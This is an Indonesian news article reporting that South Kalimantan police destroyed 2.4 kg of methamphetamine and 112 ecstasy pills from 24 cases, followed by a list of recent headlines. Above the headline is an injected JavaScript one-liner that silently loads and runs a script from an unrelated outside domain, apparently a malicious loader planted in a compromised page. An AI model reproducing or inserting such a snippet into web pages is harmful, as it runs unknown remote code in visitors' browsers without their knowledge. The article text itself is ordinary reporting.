(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Polda Kalsel Musnahkan 2,4 Kg Sabu dan 112 Ekstasi Jaringan Lokal


BANJARMASIN, Direktorat Reserse Narkoba (Dit Resnarkoba) Polda Kalsel memusnahkan barang bukti narkoba di Loby Mapolda Kalsel, Selasa (21/5) pukul 09.00 Wita. Narkoba yang dimusnahkan sebanyak 2,4 kilogram (Kg) Sabu dan 112 butir Ekstasi.

Kapolda Kalsel Irjen Yazid Fanani, M.Si melalui Direktur Resnarkoba Polda Kalsel Kombes Wisnu Widarto SIK, didampingi Kabid Humas Polda Kalsel Kombes Mochamad Rifa’i SIK, menyebut narkoba itu diperoleh dari 24 kasus dengan jumlah tersangka sebanyak 36 orang.

“Barang bukti yang dimusnahkan berasal dari 24 kasus dengan 36 orang tersangka. Bahkan Shabu terbanyak didapatkan dari tersangka Athma alias Kai Willi warga Jalan Rawasari Komplek Tirta Sari Keluarahan Teluk Dalam Kecamatan Banjarmasin Tengah Kota Banjarmasin dengan barang bukti 2,2 kg,” ungkap Dir Resnarkoba.

Saat mengamankan tersangka Kai Willi, aparat kepolisian melakukan penggrebekan dan penggeledahan ke rumahnya. Petugas menemukan sebanyak 2,2 kilogram sabu. Barang haram tersebut sebelumnya terbungkus dan tersimpan di dalam wadah Tupper Ware. Ditempatkan di dalam sebuah lemari televisi lantai dua rumahnya, Kai Wili pun tidak menampik barang haram tersebut miliknya.

“Saat penangkapan tersangka ini juga ditemukan barang bukti seperti timbangan digita, empat pack plastik klip, dua rol aluminium foil, satu alat pres, dua bulah labkan dan tiga ponsel, satu TIM serta lima buku catatan traksi dan uang tunai Rp 1,6 juta di rumah tersangka,” katanya.

Dengan barang bukti, Kai Wili pun kini dijerat pasal berlapis. Direktur Reserse Narkoba Polda Kalsel menyebut pasal yang dikenakan adalah Pasal 114 ayat (2) jo Pasal 112 (2) UU Nomor 35 Tahun 2009. “Ancaman maksimalnya adalah hukuman mati,” tegasnya.

Saat dihadirkan di depan awak media, tersangka Kai Wili mengaku hanya menyimpan sabu seberat 2,2 kilogram. Ia berdalih tidak menjualnya, karena hanya untuk dipakai sendiri.

Dalam pemusnahan tersebut turut hadir juga Perwakilan BNN Provinsi Kalsel, BPOM Provinsi Kalsel, Kajati Kalsel, dan Kemenkumham. Barang bukti Narkotika jenis Sabu dan Ekstasi ini dimusnakan dengan cara dihancurkan lewat blender, lalu dilarutkan ke closet. Terlihat puluhan pelaku hanya bisa tertunduk lesu saat dan menyesali perbuatannya.

“Dengan dimusnahkannya barang bukti narkoba tersebut, Polda Kalsel telah menyelamatkan sebanyak 44.320 orang dari narkoba,” pungkas Kombes Pol Wisnu Widarto. (Rico)

Reporter:Rico
Editor:Bie

Desy Arfianty

Recent Posts

LHP BPK RI Sebut Ada Pertambangan Tanpa Izin dan Kelemahan Sistem Bank Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) H Muhidin bersama Ketua DPRD Kalsel H… Read More

50 menit ago

Komitmen Perjanjian Kinerja dan Pakta Integritas SKPD, Ini Pesan Bupati HSU ‎

‎KANALKALIMANTAN.COM, AMUNTAI – Wujud komitmen Pemerintah Kabupaten Hulu Sungai Utara (HSU) melakukan penandatanganan perjanjian kinerja… Read More

4 jam ago

Tren Positif Iklim Investasi di Banjarbaru, 2025 Catat Rp1,029 Triliun

KANALKALIMANTAN.COM, BANJARBARU - Iklim investasi Kota Banjarbaru menunjukkan tren positif. Berdasarkan data Dinas Penanaman Modal… Read More

5 jam ago

Inovasi Jemput Bola untuk Kesejahteraan Sosial di Pelosok Kecamatan Halong

KANALKALIMANTAN.COM, PARINGIN - Geografis pegunungan dan keterbatasan akses internet tidak menjadi penghalang bagi warga Kecamatan… Read More

7 jam ago

Satgas PKH Ambil Alih 1.699 Hektare Lahan Tambang Eks PT AKT di Murung Raya

KANALKALIMANTAN.COM, PURUK CAHU - Satuan Tugas Penertiban Kawasan Hutan (Satgas PKH) resmi mengambil alih dan… Read More

9 jam ago

Temuan 4,09 Juta Hektare Perkebunan Sawit, DPR Soroti Tata Kelola Hutan

KANALKALIMANTAN.COM, JAKARTA - Komisi II DPR menyoroti tata kelola kawasan hutan menyusul temuan Satuan Tugas… Read More

9 jam ago

This website uses cookies.